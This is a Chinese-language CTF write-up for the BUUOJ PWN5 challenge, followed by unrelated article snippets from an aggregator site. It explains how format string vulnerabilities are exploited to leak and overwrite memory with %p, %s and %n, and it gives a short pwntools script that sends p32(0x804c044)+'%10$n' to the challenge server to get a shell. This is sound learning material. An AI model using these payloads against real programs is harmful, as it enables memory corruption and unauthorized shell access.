buu PWN5

在做这道题目之前,我们先来了解一下什么是字符串格式化漏洞,格式化字符串函数就是将计算机

内存中表示的数据转化为我们人类可读的字符串格式,下面记几个有用的

%d十进制  输出十进制整数
%s   从内存中读取字符串
%p   指针地址
%n   到目前为止所写的所有字节数

%x   十六进制

还有些其他的,相信学过c的你们能自己推出来

格式化字符串函数,基本格式% [parameter] [flags] [filed width] [.precision] [length] type

其中type为必选部分,其他部分就是可选项了,在进入printf函数之前,程序会将参数从右往左

一次进行压栈,进入printf后,函数首先获取第一个参数,一次读取一个字符,如果字符不是%,

那么字符将直接被复制到输出,否则读取下一个非空字符,获取相应的参数并解析输出

格式化字符串漏洞的发生条件就是格式化字符串要求的参数和实际上提供的参数不匹配,

漏洞利用: 栈数据泄露,任意地址内存泄露,栈数据覆盖,任意地址覆盖,使程序崩溃

栈数据泄露:

直接输入%p  %p  若干个%p就行,运行就会输出栈上相应位置的数据,当然,这种方法只能依次

将栈上的数据给他输出出来

还有一种好方法,可以输出栈上指定位置的数据,利用%n$x,n表示栈上第几个位置

获取栈变量对应的字符串,利用%s,当然也可以指定位置,%n$s即可,注意对应的变量必须能

够被解析为字符串地址,不然,程序就崩溃给你看

泄露任意地址内存:(其实输出函数的第一个参数的值,就是格式化字符串的地址,记就完事儿)

由于我们可以控制格式化字符串(就是我们输入的字符串),如果我们知道该格式化字符串在

输出函数时调用时是第几个参数,这边假设为第k个参数,那么addr%k$s  可以获取该地址的

内存内容,这边注意,如果格式化字符串在栈上,我们就一定要注意格式化字符串的相对偏移,

利用 aaaa %p  %p若干个%p来确定,找到aaaa在第几个,偏移量就是多少,payload的构造

payload=p32(所需地址)+%n$s   会输出此处所需地址的内存内容,当然,也不一定是p32,

这边还要注意,地址的字节数长短应符合常规,少了记得补上0

覆盖内存****:

这个操作可以修改栈上内存以及任意地址内存,据说也是常考的之一,废话不多说,开始介绍

%n  不输出字符,但是能把已经成功输入的字符个数写入对应的整形指针参数所指的变量,

这里仍然分为两个部分,一部分为覆盖栈上的变量,第二部分为覆盖指定地址的变量,

[overwrite addr]  % [overwrite offset]$n  其中我们填充的内容,前者表示我们所要覆盖的地址,后

者表示偏移量

覆盖栈内存:

直接就是  [addr of c ]%012d%6$n 前面4个字节,后面12个字节,总共16个字节,此时c地址的

值已经变为16

参考文章

利用 - CTF Wiki

有一说一啊,我感觉我写的有点抽象了,大家可以直接看这篇文章去理解,这篇文章宇宙无敌好

其实这篇文章看完,这道题的exp基本也就能写了,但我通常是脑子会了,exp还是不会写

简单分析其实就这样,最重要的就是需要nptr==dword_804C044,我们在了解一个东西,recvuntil

这个是从主机一直接受信息的函数,下面的exp中会写到,

from pwn import *

p=remote('node5.buuoj.cn',28446)

p.recvuntil("your name:")

payload = p32(0x804c044)+b'%10$n'

p.sendline(payload)

p.recvuntil(":")

p.sendline('4')

p.interactive()

我来一行行解释,一二行就不解释了,第三行的意思是,从主机那一直接受信息,直到接受到括号

中的内容,再继续往下执行,第三行,括号内的地址是dword_804C044的地址,后面10表示,

格式化字符串在栈上的第10个位置(输入aaaa %p 若干个%p,知道你发现61616161,数一下位

置,就是第10位),这行的意思是将4写入地址0x804c044中,为什么是4呢?p32是将括号内的

地址打包成了4个字节,最后的n,是计算已经成功输入了的字节数(就是前方的4个字节),所以

是将4写入了地址0x804c044,再往下走,发送这个payload给主机,然后再是从主机那接受字符串

,然后再发送一个4,使得那个if条件成立,从而获取了shell,最后cat flag,拿下!

上文中的那篇文章帮了我极大的忙,一定要去看看,那个佬写的确实好


 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/465402.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

[Android]从FLAG_SECURE禁止截屏看surface

在应用中,设置activity的flag为FLAG_SECURE就可以禁止截屏,截屏出来是黑色的, 试验一下, 注意事项 影响: 设置 FLAG_SECURE 标志后,用户将无法对该Activity进行截屏或录制屏幕。这个标志会影响所有屏幕录…

【FL0013】基于SpringBoot和微信小程序的机电公司管理信息系统

🧑‍💻博主介绍🧑‍💻 全网粉丝10W,CSDN全栈领域优质创作者,博客之星、掘金/知乎/b站/华为云/阿里云等平台优质作者、专注于Java、小程序/APP、python、大数据等技术领域和毕业项目实战,以及程序定制化开发…

[渲染层网络层错误] net::ERR_CONTENT_LENGTH_MISMATCH 问题解决

问题描述 问题背景 微信小程序访问后端img资源的时候,偶尔出现这个感叹号,图片加载不出来,但是对应的url贴出来在浏览器中访问,或者重新加载是可以访问的。 错误描述 经查询前端报错 [渲染层网络层错误] net::ERR_CONTENT_LE…

【C++】踏上C++学习之旅(五):auto、范围for以及nullptr的精彩时刻(C++11)

文章目录 前言1. auto关键字(C11)1.1 为什么要有auto关键字1.2 auto关键字的使用方式1.3 auto的使用细则1.4 auto不能推导的场景 2. 基于范围的for循环(C11)2.1 范围for的语法2.2 范围for的使用条件 3. 指针空值nullptr&#xff0…

springboot2.x使用SSE方式代理或者转发其他流式接口

文章目录 1.需求描述2.代码2.1.示例controller2.2.示例service2.3.示例impl 3.测试 1.需求描述 使用SSE的方式主要还是要跟前端建立一个EventSource的链接,有了这个连接,然后往通道里写入数据流,前端自然会拿到流式数据,写啥拿啥…

“高效开发之路:用Spring MVC构建健壮的企业级应用”

一、SpringMVC框架概念: (一)概述 SpringMVC是Spring框架的一个模块,Spring和SpringMVC无需中间整合层整合。该模块是一个基于MVC的web框架。 作用:只要需要前后端通信,就需要springMVC帮我完成&#xff…

论文阅读笔记:Activating More Pixels in Image Super-Resolution Transformer

论文阅读笔记:Activating More Pixels in Image Super-Resolution Transformer 1 背景1.1 问题1.2 提出的方法 2 创新点3 方法4 模块4.1 混合注意力模块(HAB)4.2 重叠交叉注意力模块(OCAB)4.3 同任务预训练 5 效果5.1 …

制作gif动图并穿插到CSDN文章中

一、下载LICEcap软件 安装包放在文章末尾 二、双击运行 会出现一个透明框,可以通过左下角的Size来修改画布大小,也可以直接拖动来调整 把透明框拖至自己想放置的位置 点击record进行录制,点击stop暂停,录制完成后给自己的gif图…

新160个crackme - 093-kesan

运行分析 需破解用户名和注册码 PE分析 Delphi程序,32位,无壳 静态分析&动态调试 ida找不到字符串,根据Delphi程序逻辑,双击进入cls_Unit1_TForm1查找 向下翻找后发现4个事件,逐个分析 动调_TForm1_Edit1Change函数…

自己开发得期货资管模拟软件演示1.0.15版仅供学习

期货资管模拟软件演示1.0.15版仅供学习——C技术栈知识分享 本文将以期货资管模拟软件演示1.0.15版为例,分享其基于C技术栈的框架知识。 一、C技术栈在期货交易软件开发中的应用 C作为一种高性能的编程语言,以其强大的内存管理能力和高效的执行速度&a…

详解:字符串常量池

字符串常量池是Java运行时环境(JRE)的一部分,它用于存储字符串字面量。字符串字面量是源代码中直接用双引号括起来的字符串,例如"hello"。在Java中,字符串是不可变的,这意味着一旦创建了一个字符…

三次样条插值算法及推导过程

目录 1、定义 2、已知条件求解 3、具体推导 4、matlab案例 5、案例结果 6、matlab仿真 1、定义 给定 n 1 n1 n1个数据点,共有 n n n个区间,三次样条方程 S ( n ) S(n) S(n)满足以下条件:在每个分段区间内 ( x i , x i 1 ) (x_i,x_{i1}) (…

[数据结构从小白到大牛]第五篇:3分钟带你吃透双链表并用C语言模拟实现

目录 1->前言 2->链表的概念和结构 2.1链表概念 2.2->带头双向循环链表结构 3->模拟实现带头双向循环链表 3.1定义链表结点 struct ListNode 3.2创建链表结点 CreateLTNode 函数 3.3链表初始化函数 ListInit函数 3.4链表打印函数 ListPrint函数 3.5链表…

Rancher的安装

1. 概览 1.1 用户界面优势 Rancher 提供了一个直观的图形用户界面(GUI)。对于不熟悉 Kubernetes 复杂的命令行操作(如使用kubectl)的用户来说,通过 Rancher 的界面可以方便地进行资源管理。例如,用户可以在…

【办公类-04-04】华为助手导出照片视频分类(根据图片、视频的文件名日期导入“年-月-日”文件夹中,并转移到“年-月”文件中整理、转移到“年”文件夹中整理)

背景需求 最近带班,没有时间整理照片,偶尔导一次,几个月的照片。发现用电脑版“华为手机助手“中的WLAN连接”与华为手机的“华为手机助手”连接,速度更快、更稳定,不会出现数据线连接时碰碰就断网的问题 1、先打开电…

CDGP|企业数据治理流程全解析

在当今信息化时代,数据已成为企业最重要的资产之一。为了充分发挥数据的价值,企业需要对数据进行全面、系统的治理。企业数据治理流程是一套确保数据质量、安全性和合规性的规范化流程,涵盖了从数据采集到销毁的全过程。本文将详细介绍一般企…

学习threejs,将多个网格合并成一个网格

👨‍⚕️ 主页: gis分享者 👨‍⚕️ 感谢各位大佬 点赞👍 收藏⭐ 留言📝 加关注✅! 👨‍⚕️ 收录于专栏:threejs gis工程师 文章目录 一、🍀前言1.1 ☘️THREE.Geometry 几何体1.2 …

Linux 线程控制

一. 线程互斥 1.1 线程互斥相关概念 临界资源:多线程执行流共享的资源就叫做临界资源。临界区:每个线程内部,访问临界资源的代码,就叫做临界区。互斥:任何时刻,互斥保证有且只有一个执行流进入临界区&…

Centos安装ZooKeeper教程(单机版)

本章教程介绍,如何在Centos7中,安装ZooKeeper 3.9.3版本。 一、什么是ZooKeeper ? Apache ZooKeeper 是一个分布式协调服务,用于大型分布式系统中的管理和协调。它为分布式应用提供了一个高性能的通信框架,简化了开发人员在构建复杂分布式系统的任务。ZooKeeper 能够解决一…